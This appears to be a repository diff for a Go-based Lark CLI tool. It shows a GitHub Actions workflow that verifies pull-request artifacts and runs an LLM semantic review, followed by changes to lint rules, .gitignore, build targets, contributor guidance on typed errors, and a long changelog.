if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
if (run.conclusion !== "success") throw new Error(`unexpected conclusion: ${run.conclusion}`);
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
if (runPRs.length > 1) {
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
}
let prNumber = Number(runPRs[0]?.number || 0);
const eventBaseSha = runPRs[0]?.base?.sha || "";
const eventHeadSha = runPRs[0]?.head?.sha || "";
const targetHeadSha = run.head_sha;
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
core.notice("semantic review using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
}
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
let factsArtifactName = "";
let artifactBaseSha = "";
let artifactError = "";
if (factsArtifacts.length !== 1) {
artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
} else {
factsArtifactName = factsArtifacts[0].name;
const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
artifactError = "facts artifact head sha does not match verified PR head sha";
factsArtifactName = "";
} else {
artifactBaseSha = parsedBaseSha;
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
core.notice("semantic review using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
}
}
}
if (!prNumber) {
const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
owner: context.repo.owner,
repo: context.repo.repo,
commit_sha: targetHeadSha,
});
const candidatePRs = associatedPRs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
);
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
}
if (!prNumber) {
const candidatePRs = await github.paginate(github.rest.pulls.list, {
owner: context.repo.owner,
repo: context.repo.repo,
state: "all",
per_page: 100,
}).then((prs) => prs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
));
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
} else {
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
}
}
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
const { data: pr } = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: prNumber,
});
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
if (pr.state !== "open") {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
if (!pr.head.repo) {
core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
core.setOutput("stale", "true");
return;
}
if (pr.head.sha !== targetHeadSha) {
core.notice("semantic review skipped: workflow_run is stale for this PR head");
core.setOutput("stale", "true");
return;
}
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
core.notice("semantic review skipped: workflow_run is stale for this PR base");
core.setOutput("stale", "true");
return;
}
if (artifactError) {
core.warning(`semantic review facts artifact binding is unavailable: ${artifactError}`);
}
core.setOutput("pr_number", String(prNumber));
core.setOutput("head_sha", targetHeadSha);
core.setOutput("base_sha", baseSha);
core.setOutput("head_owner", pr.head.repo.owner.login);
core.setOutput("head_repo", pr.head.repo.name);
core.setOutput("head_repo_id", String(pr.head.repo.id));
core.setOutput("head_is_base_repo", pr.head.repo.id === context.payload.repository.id ? "true" : "false");
core.setOutput("run_id", String(run.id));
core.setOutput("facts_artifact_name", factsArtifactName);
core.setOutput("artifact_error", artifactError);
core.setOutput("stale", "false");
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
id: checkout
if: ${{ steps.pr.outputs.stale != 'true' }}
with:
ref: ${{ steps.pr.outputs.base_sha }}
persist-credentials: false
- name: Publish pre-checkout semantic review failure
if: ${{ failure() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome != 'success' && steps.pr.outputs.head_sha != '' && steps.pr.outputs.pr_number != '' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
with:
script: |
const runtimeBlockMode = process.env.SEMANTIC_REVIEW_BLOCK === "true";
const pr = Number(process.env.SEMANTIC_REVIEW_PR_NUMBER || 0);
const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
const baseSha = process.env.SEMANTIC_REVIEW_BASE_SHA || "";
if (!Number.isInteger(pr) || pr <= 0 || !/^[a-f0-9]{40}$/i.test(headSha) || !/^[a-f0-9]{40}$/i.test(baseSha)) {
throw new Error("missing verified semantic review target");
}
const { data: pull } = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: pr,
});
if (pull.state !== "open") {
core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
return;
}
if (pull.head.sha !== headSha) {
core.notice("semantic review skipped infrastructure failure check: PR head changed");
return;
}
if (pull.base.sha !== baseSha) {
core.notice("semantic review skipped infrastructure failure check: PR base changed");
return;
}
if (pull.base.repo.id !== context.payload.repository.id) {
throw new Error("PR base repo mismatch before infrastructure failure check");
}
await github.rest.checks.create({
owner: context.repo.owner,
repo: context.repo.repo,
name: runtimeBlockMode ? "semantic-review/result" : "semantic-review/observe",
head_sha: headSha,
status: "completed",
conclusion: runtimeBlockMode ? "failure" : "neutral",
output: {
title: "Semantic review infrastructure failure",
summary: "Semantic review could not checkout the verified base commit. Inspect the workflow logs before relying on semantic review output.",
},
});
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
if: ${{ steps.pr.outputs.stale != 'true' }}
with:
go-version-file: go.mod
- name: Verify semantic facts artifact metadata
id: artifact
if: ${{ steps.pr.outputs.stale != 'true' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
if (!/^quality-gate-facts-[a-f0-9]{40}-[a-f0-9]{40}$/i.test(factsArtifactName)) {
throw new Error("missing verified facts artifact binding");
}
const { data } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
const artifact = artifacts[0];
if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
}
if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
core.setOutput("artifact_id", String(artifact.id));
core.setOutput("artifact_digest", artifact.digest);
- name: Download facts artifact zip
if: ${{ steps.pr.outputs.stale != 'true' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
id: download
with:
script: |
const fs = require("fs");
const path = require("path");
const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
const { data } = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: artifactId,
archive_format: "zip",
});
const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
fs.writeFileSync(zipPath, Buffer.from(data));
core.setOutput("zip_path", zipPath);
- name: Verify and extract semantic facts artifact
if: ${{ steps.pr.outputs.stale != 'true' }}
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_DECISION_OUT: decision.json
SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
- name: Download PR semantic waiver config
id: waiver_config
if: ${{ steps.pr.outputs.stale != 'true' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
SEMANTIC_REVIEW_HEAD_OWNER: ${{ steps.pr.outputs.head_owner }}
SEMANTIC_REVIEW_HEAD_REPO: ${{ steps.pr.outputs.head_repo }}
SEMANTIC_REVIEW_HEAD_IS_BASE_REPO: ${{ steps.pr.outputs.head_is_base_repo }}
with:
script: |
const fs = require("fs");
const path = require("path");
const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
if (!/^[a-f0-9]{40}$/i.test(headSha)) {
throw new Error("missing verified semantic review target");
}
const headOwner = process.env.SEMANTIC_REVIEW_HEAD_OWNER || "";
const headRepo = process.env.SEMANTIC_REVIEW_HEAD_REPO || "";
if (!headOwner || !headRepo) {
throw new Error("missing verified semantic review head repository");
}
const waiverPath = "internal/qualitygate/config/semantic/waivers.txt";
const outPath = path.join(process.env.RUNNER_TEMP, "semantic-review-waivers.txt");
const headIsBaseRepo = process.env.SEMANTIC_REVIEW_HEAD_IS_BASE_REPO === "true";
if (!headIsBaseRepo) {
core.notice("fork PR semantic waiver config is ignored");
core.setOutput("path", "");
return;
}
let content = "";
try {
const { data } = await github.rest.repos.getContent({
owner: headOwner,
repo: headRepo,
path: waiverPath,
ref: headSha,
});
if (Array.isArray(data) || data.type !== "file" || data.encoding !== "base64") {
throw new Error(`${waiverPath} is not a base64 file at PR head`);
}
if (data.size > 256 * 1024) {
throw new Error(`${waiverPath} is too large: ${data.size} bytes`);
}
content = Buffer.from(data.content, "base64").toString("utf8");
} catch (err) {
if (err.status !== 404) {
throw err;
}
}
fs.writeFileSync(outPath, content);
core.setOutput("path", outPath);
- name: Run semantic review
id: semantic
if: ${{ steps.pr.outputs.stale != 'true' }}
env:
ARK_API_KEY: ${{ secrets.ARK_API_KEY }}
ARK_BASE_URL: ${{ vars.ARK_BASE_URL }}
ARK_MODEL: ${{ vars.ARK_MODEL }}
ARK_TIMEOUT_SECONDS: ${{ vars.ARK_TIMEOUT_SECONDS }}
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
run: |
args=(
--repo .
--facts facts.json
--decision-out decision.json
--markdown-out semantic-review.md
)
if [ -n "${{ steps.waiver_config.outputs.path }}" ]; then
args+=(--waivers-file '${{ steps.waiver_config.outputs.path }}')
fi
if [ "$SEMANTIC_REVIEW_BLOCK" = "true" ]; then
args+=(--block)
fi
go run ./internal/qualitygate/cmd/semantic-review "${args[@]}"
- name: Publish semantic review
if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
with:
script: |
const { publish } = require("./scripts/semantic-review-publish.js");
await publish({ github, context, core });

16
.gitignore vendored
View File

@@ -7,11 +7,6 @@ bin/
# Node
node_modules/
# Python (skill-bundled helper scripts)
__pycache__/
*.py[cod]
*$py.class
# OS
.DS_Store
@@ -27,9 +22,6 @@ Thumbs.db
# Go
docs/ref
docs/
!tests/cli_e2e/docs/
!tests/cli_e2e/docs/*.go
!tests/cli_e2e/docs/*.md
vendor/
@@ -43,8 +35,6 @@ tests/mail/reports/
# Generated / test artifacts
.hammer/
.lark-slides/
/notes/
/minutes/
internal/registry/meta_data.json
cmd/api/download.bin
app.log
@@ -54,9 +44,3 @@ app.log
cover*.out
lark-env.sh
/automations/
# Local-only proof artifacts and coverage reports (never committed)
coverage.html
tests_e2e/
tests_skill_eval/

View File

@@ -29,11 +29,11 @@ linters:
- unused # checks for unused constants, variables, functions and types
- depguard # blocks forbidden package imports
- forbidigo # forbids specific function calls
- errorlint # enforces error wrapping (%w) and errors.Is/As over == and type asserts
# To enable later after fixing existing issues:
# - errcheck # checks for unchecked errors
# - errname # checks that error types are named XxxError
# - errorlint # checks error wrapping best practices
# - gosec # security-oriented linter
# - misspell # finds commonly misspelled English words
# - staticcheck # comprehensive static analysis
@@ -49,47 +49,24 @@ linters:
- gocritic
- depguard
- forbidigo
- errorlint # tests legitimately do identity (==) and concrete type-assert checks
# forbidigo runs repo-wide (minus the boundaries below) so errs-no-bare-wrap
# has no gap. The framework bans (os/vfs, raw HTTP, fmt.Print, filepath,
# log) stay scoped to shortcuts/ + internal/ + config/auth/service via the
# next rule; elsewhere only errs-no-bare-wrap fires.
- path-except: (shortcuts/|internal/|cmd/|events/)
linters:
- forbidigo
# Paths that run forbidigo. Add an entry when a path joins one of
# the rules below.
- path-except: (shortcuts/|internal/|cmd/auth/|cmd/config/|cmd/service/)
text: (vfs|IOStreams|ctx\.Out|shortcuts-no-raw-http|filepath functions|os\.Exit|structured error return)
linters:
- forbidigo
- path: internal/vfs/
linters:
- forbidigo
# internal/gen build-time generators (standalone `package main` run via
# go:generate) are not shortcut runtime code — no ctx/runtime/framework —
# so the shortcut forbidigo bans don't apply. Going "compliant" is also
# impossible here: a structured error return needs os.Exit (also banned),
# and the vfs.Xxx() alternative is blocked by depguard shortcuts-no-vfs.
- path: shortcuts/.*/internal/gen/
linters:
- forbidigo
# internal/qualitygate/cmd contains standalone CI tools. Their main
# entrypoints legitimately own process exit codes and stdio, matching the
# old tools/ layout before these packages moved under internal/.
- path: internal/qualitygate/cmd/[^/]+/main\.go$
linters:
- forbidigo
# shortcuts-no-raw-http is shortcuts-only; internal/ wraps raw HTTP
# for the client / credential layer.
- path-except: shortcuts/
text: shortcuts-no-raw-http
linters:
- forbidigo
# errs-no-bare-wrap enforced across every command/wire boundary by
# structural prefix, so any future business domain or command is covered
# without editing an allowlist. Genuine intermediate wraps inside these
# paths use //nolint:forbidigo with a reason.
- path-except: (cmd/|shortcuts/|events/)
text: errs-no-bare-wrap
# errs-typed-only enforced on paths already migrated to errs.NewXxxError.
# Add a path when its migration is complete.
- path-except: (internal/auth/|internal/errcompat/|internal/errclass/|internal/client/|internal/cmdutil/factory\.go|cmd/auth/|cmd/config/|cmd/service/|shortcuts/common/mcp_client\.go|shortcuts/calendar/helpers\.go)
text: errs-typed-only
linters:
- forbidigo
@@ -110,12 +87,13 @@ linters:
Use runtime.FileIO() for file operations or runtime.ValidatePath() for path validation.
forbidigo:
forbid:
# ── bare error wraps banned on fully-typed paths ──
- pattern: (fmt\.Errorf|errors\.New)\b
# ── legacy output.Err* helpers banned on migrated paths ──
# output.ErrBare is intentionally not listed — it is the predicate-
# command silent-exit signal, outside the typed envelope contract.
- pattern: output\.(ErrValidation|ErrAuth|ErrNetwork|ErrAPI|ErrWithHint|Errorf)\b
msg: >-
[errs-no-bare-wrap] final errors must be typed (errs.NewXxxError);
wrap a cause with .WithCause(err). Genuine intermediate wraps:
//nolint:forbidigo with a reason.
[errs-typed-only] use errs.NewXxxError(...) builder
(see errs/types.go).
# ── http: shortcuts must not construct raw HTTP requests ──
# Bans request / client construction; constants (http.MethodPost,
# http.StatusOK) and pure helpers (http.StatusText, http.Header) are

View File

@@ -17,7 +17,6 @@ builds:
goarch:
- amd64
- arm64
- riscv64
archives:
- name_template: "lark-cli-{{ .Version }}-{{ .Os }}-{{ .Arch }}"

View File

@@ -10,10 +10,9 @@
## Build & Test
```bash
make build # Build (runs fetch_meta first)
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
make live-skills-test # Opt-in real Skills CLI tests; runs with isolated user directories
make test # Full: vet + unit + integration
make build # Build (runs fetch_meta first)
make unit-test # Required before PR (runs with -race)
make test # Full: vet + unit + integration
```
## Notification Opt-Outs
@@ -76,50 +75,12 @@ The one rule to internalize: **every error message you write will be parsed by a
### Structured errors in commands
Command-facing failures must be typed `errs.*` errors — never the legacy `output.Err*` helpers and never a final bare `fmt.Errorf`. AI agents parse the stderr envelope's `type` / `subtype` / `param` / `hint` fields to decide their next action; the full taxonomy lives in `errs/ERROR_CONTRACT.md`.
Picking a constructor:
| Failure | Constructor |
|---------|-------------|
| User flag/arg fails validation | `errs.NewValidationError(errs.SubtypeInvalidArgument, ...).WithParam("--flag")` |
| Valid request, wrong system state | `errs.NewValidationError(errs.SubtypeFailedPrecondition, ...).WithHint(...)` |
| Lark API returned `code != 0` | `runtime.CallAPITyped` (shortcuts) / `errclass.BuildAPIError` (raw responses) — never hand-build |
| Network / transport failure | `errs.NewNetworkError(errs.SubtypeNetworkTransport, ...)` |
| Local file I/O failure | `errs.NewInternalError(errs.SubtypeFileIO, ...)` — validate the path first (`validate.SafeInputPath` / `SafeOutputPath`) and use `vfs.*` |
| Unclassified lower-layer error as final | `errs.NewInternalError(errs.SubtypeUnknown, ...).WithCause(err)` |
| Lower layer already returned a typed error | pass it through unchanged — re-wrapping downgrades its classification |
Signatures that are easy to guess wrong:
- `runtime.CallAPITyped(method, url string, params map[string]interface{}, data interface{}) (map[string]interface{}, error)` — it performs the HTTP request itself and classifies `code != 0` into a typed error; just return the error it gives you.
- Typed pass-through check: `if _, ok := errs.ProblemOf(err); ok { return err }``ProblemOf` returns `(*errs.Problem, bool)`, not a nilable pointer.
- `.WithParam` exists only on `*errs.ValidationError`. `InternalError` / `NetworkError` have no param field — file or endpoint context goes in the message or `.WithHint(...)`.
`forbidigo` + `lint/errscontract` reject the legacy `output.Err*` helpers, bare final `fmt.Errorf` / `errors.New`, and legacy envelope literals on migrated paths. Beyond what lint catches, three authoring conventions apply:
- Preserve the underlying error with `.WithCause(err)` so `errors.Is` / `errors.Unwrap` keep working.
- `param` names only the user input that actually failed. Recovery guidance goes in `.WithHint(...)`; machine-readable recovery fields (`missing_scopes`, `log_id`) carry server/system ground truth only — never caller-side guesses.
- Error-path tests assert typed metadata via `errs.ProblemOf` (`category` / `subtype` / `param`) and cause preservation, not message substrings alone.
`RunE` functions must return `output.Errorf` / `output.ErrWithHint` — never bare `fmt.Errorf`. AI agents parse stderr as JSON; bare errors break this contract.
### stdout is data, stderr is everything else
Program output (JSON envelopes) goes to stdout. Progress, warnings, hints go to stderr. Mixing them corrupts pipe chains.
### Typed data over loose maps
Parse `map[string]interface{}` into a typed struct at the boundary — one projection function per shape — and let everything downstream consume struct fields, not string keys. A typo'd map key compiles fine and fails at runtime, which an agent then debugs blind.
Use distinct types when two values could be swapped silently: see `internal/meta.Token` — a bare string compiles on either side of a string/string signature, a distinct type does not.
Legacy loose-map code exists in older paths. Match its call sites when touching it, but do not copy the pattern into new code.
### Transcribe faithfully — no silent fallbacks
When code echoes input onward (request previews, transformations, proxies), transcribe verbatim. A `default:` branch that coerces unrecognized input into a plausible value ("unknown HTTP verb → GET") makes the output lie, and an agent reasons from the lie.
The same rule applies to flag combinations and internal wiring: if a requested option cannot be honored, return a typed validation error — never silently substitute another behavior and exit 0. Silent guesses (defaulting a missing identity, discarding writes on a nil writer) are bugs even when every current caller happens to avoid them.
### Use `vfs.*` instead of `os.*`
All filesystem access goes through `internal/vfs`. This enables test mocking.
@@ -131,7 +92,6 @@ CLI arguments are untrusted (they come from AI agents). Call `validate.SafeInput
### Tests
- Every behavior change needs a test alongside the change.
- A contract test must fail if the implementation is reverted. If you can undo the code change and the suite stays green, the contract is not pinned — assert the new field/behavior directly, not a happy-path substring.
- `cmdutil.TestFactory(t, config)` for test factories.
- `t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())` to isolate config state.

View File

@@ -2,650 +2,6 @@
All notable changes to this project will be documented in this file.
## [v1.0.74] - 2026-07-21
### Features
- **slides**: add history rollback shortcuts (#1714)
- **base**: support per-record batch updates (#1889)
### Bug Fixes
- preserve slides schema issues
- allow jq examples in quality gate dry-runs
- **im**: warn when flag pagination is truncated (#1906)
- **slides**: warn on text shape overflow
- **slides**: exempt chart roundtrip attributes from lint
- **slides**: detect image text occlusion
- **slides**: clarify xml-text-overlap-lint error for positional argument (#1986)
### Documentation
- clarify drive upload overwrite guidance (#1982)
### Tests
- isolate unit tests from user state (#1883)
### Refactoring
- converge success output through a single Emitter that owns the write (#1899)
## [v1.0.73] - 2026-07-20
### Features
- **apps**: design_html support, creative-design skill, unified TOS publish (#1901)
### Bug Fixes
- **slides**: detect visual elements outside canvas
- reduce public content credential fixture false positives
- standardize CLI shortcut text in English (#1942)
### Documentation
- **base**: reduce filter and update retry loops (#1879)
- **vc**: default transcript routing to smart notes over minutes (#1961)
- clarify local trigger automation (#1958)
### Tests
- synchronize temporary Git maintenance (#1946)
### Misc
- **slides**: update lark-slides skill to 0715 snapshot (#1933)
- [codex] support bot menu events (#1765)
## [v1.0.72] - 2026-07-17
### Features
- **slides**: lint table out of canvas
- **slides**: report resolved table size mismatches
- **approval**: support approval event consumption (#1924)
### Bug Fixes
- **vc**: don't fail +detail for in-progress meetings (#1930)
- stabilize drive delete E2E terminal-state checks (#1939)
### Documentation
- **slides**: document table dimensions
- document base field default values (#1500)
- **sheets**: use English placeholder in table-get guidance (#1936)
### Tests
- stabilize live e2e auth retries (#1904)
- use tri-state wiki node identity in delete verification (#1931)
- fix drive cover download retries (#1934)
## [v1.0.71] - 2026-07-16
### Features
- add wiki move-to-drive shortcut (#1869)
- **apps**: add role management shortcuts (#1881)
- **drive**: add secure label support and clarify comment location API (#1913)
### Bug Fixes
- **base**: improve dashboard shortcut guidance (#1787)
### Documentation
- **apps**: add platform SQL authoring guide to the db-execute skill (#1912)
### Misc
- add L4 plugin-integration and sidecar-integration CI jobs (#1840)
- **drive**: optimize drive +delete workflow (#1909)
## [v1.0.70] - 2026-07-15
### Features
- add minutes permission application shortcut (#1876)
- **drive**: support apps in list comments (#1877)
- slide style
- edit ppt template
- **slides**: add sxsd validation to slides lint
- **slides**: validate iconpark icon types in slides lint
- **slides**: lint before create
- **apps**: add automation trigger commands for Miaoda (#1886)
### Bug Fixes
- unify dry-run output contract (#1870)
- **skills**: align skill guidance with the typed error contract (#1786)
- **slides**: limit slides screenshot page requests
- **slides**: detect lark slides text overflow overlap
- **vc**: align meeting query scopes by identity (#1850)
### Documentation
- clarify task search relevance filters (#1884)
- surface minutes permission application in skill description (#1890)
- clarify okr progress children (#1861)
- **slides**: prefer slides xml-get shortcut
- **calendar**: document setting meeting owner via full API (#1903)
### Refactoring
- **slides**: streamline create workflow and validate SML namespaces
### Misc
- **slides**: address PR review feedback
## [v1.0.69] - 2026-07-13
### Features
- support docs fetch selection anchors (#1815)
- **apps**: support modern_html app type with TOS publish path and app type querying
- **im**: show bot sender display names when reading messages (#1829)
- add drive list comments shortcut (#1845)
- support wiki sources in drive export (#1802)
- add application domain with slash command management shortcuts (#1806)
- validate IM idempotency key length (#1797)
- surface reply context and mentions in im.message.receive_v1 (#1798)
### Bug Fixes
- route brand-sensitive endpoints through the resolver (#1836)
### Documentation
- document OKR block XML guidance (#1648)
- refine doubao whiteboard workflow routing (#1841)
- clarify Mindnote token handling (#1827)
### Tests
- isolate semantic waiver fixtures from wall clock
### Misc
- Merge lark sheets development branch (#1833)
## [v1.0.68] - 2026-07-09
### Features
- **drive**: Strengthen lark-drive high-risk write operations and read-only recognition boundaries. (#1801)
- **slides**: add slides chart demo reference
### Bug Fixes
- register and consume --json shorthand for custom-format shortcuts (#1737)
- **drive**: abort push on parent sibling limit (#1813)
### Documentation
- require native charts in slide planning
- register knowledge organize workflow (#1828)
## [v1.0.67] - 2026-07-08
### Features
- **mail**: add message modify and trash shortcuts (#1567)
- support whiteboard file inputs in docs XML (#1784)
- **vc**: refine meeting-events output and reaction forwarding (#1674)
- **affordance**: usage guidance for shortcuts and per-command skills (#1793)
### Bug Fixes
- accept opaque wiki node tokens (#1789)
- **apps**: make db --environment optional, auto-select branch server-side (#1735)
- preserve original filename in multipart file upload (#1767)
### Documentation
- restore one-time authorization guidance in lark-apps skill (#1794)
### Misc
- e2e: harden CLI E2E retry, cleanup, and domain selection (#1709)
## [v1.0.66] - 2026-07-07
### Features
- support semantic recurring calendar operations (#1723)
- minute wait (#1768)
### Bug Fixes
- guide drive import concurrency conflicts (#1751)
- **calendar**: guide approval room booking fallback (#1637)
- support pnpm global installs in self-update (#1705)
- resolve schema against runtime metadata in plugin builds; gate cache overlay by version (#1764)
### Documentation
- tighten doc creation validation workflow (#1759)
- clarify success envelope contract — judge success by ok, not code (#1730)
### Refactoring
- **envvars**: consolidate agent env value access (#1757)
### Misc
- Improve agent-facing error guidance for drive, markdown, and wiki (#1779)
## [v1.0.65] - 2026-07-03
### Features
- **doc**: Add `+history-list`, `+history-revert`, and `+history-revert-status` shortcuts for document version history (#1612)
### Bug Fixes
- **minutes**: `+speaker-replace` no longer refetches the speaker list — `--from-speaker-id` is passed through as-is (#1731)
### Documentation
- **drive**: Document 30-char query limit for `+search` (#1560)
- **doc**: Add mindnote guidance to lark-doc skill (#1581)
- **doc**: Sync lark-doc skill content from online-doc (#1701)
## [v1.0.64] - 2026-07-02
### Features
- **im**: Upgrade card send to Card 2.0 with full component reference (#1688)
- **im**: Add `+chat-members-list` shortcut for member listing (#1398)
- **okr**: Semi-plain text format with mention position preservation and `patch` shortcut (#1671)
### Bug Fixes
- **cli**: Point permission-apply link at official `/page/scope-apply` entry (#1722)
- **cli**: Improve secure label error handling (#1707)
- **cli**: Reduce public content token false positives
- **cli**: Increase npm registry fetch timeout to 15s during update check (#1724)
- **doc**: Align word statistics compound tokens (#1706)
### Documentation
- **approval**: Add detailed command-to-reference mapping for the approval skill (#1630)
- **doc**: Support `reference_map` in docs (#1690)
- **slides**: Refresh generation guidance — add constraints, drop template toolchain, and inline lint XML fixtures
## [v1.0.62] - 2026-07-01
### Features
- **vc**: Add meeting message send shortcut (#1643)
- **doc**: Add document word statistics helper (#1697)
- **cli**: Interactive upgrade prompt for bare `lark-cli` invocation (#1498)
- **install**: Fail closed when `checksums.txt` is missing during install (#1503)
### Bug Fixes
- **drive**: Improve batch failure handling for push/pull/sync (#1703)
- **base**: Support JSON array input for field create (#1661)
- **task**: Expose completion state in `my tasks` output (#1641)
- **cli**: Reduce public content credential false positives (#1700)
## [v1.0.61] - 2026-06-30
### Features
- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
- **identity**: Add `whoami` command showing effective identity (#1666)
- **docs**: Add reference map flags (#1547)
### Bug Fixes
- **identity**: Correct identity diagnosis under external credential providers (#1693)
- **cli**: Harden git credential error handling (#1676)
### Documentation
- **doc**: Guide document copy skill usage (#1673)
- **doc**: Fix lark-doc media token examples (#1662)
## [v1.0.60] - 2026-06-29
### Features
- **affordance**: Per-command usage guidance system with markdown source (#1565)
- **event**: Support VC meeting lifecycle events (#1632)
- **sheets**: Use `office_sheet_file` parent_type for imported office spreadsheets (#1606)
- **authorization**: Expand lark-shared auth guidance and assert clean logout JSON (#1598)
- **transport**: Add `LARK_CLI_NO_PROXY_WARN` to silence proxy warning (#1647)
### Bug Fixes
- **install**: Load `@clack/prompts` via dynamic import to avoid `ERR_REQUIRE_ESM` (#1652)
### Tests
- **doc**: Derive fetch test flag defaults from `v2FetchFlags` (#1428)
### Build
- **ci**: Reduce public content false positives
## [v1.0.59] - 2026-06-26
### Features
- **slides**: Add `+replace-pages` and `xml get` shortcuts, and expose the presentation URL (#1585)
- **minutes**: Support speaker list and no-Lark speaker replace (#1594)
- **calendar/vc/minutes**: Optimize and extend calendar, vc, minutes, and note shortcuts and skills (#1571)
### Bug Fixes
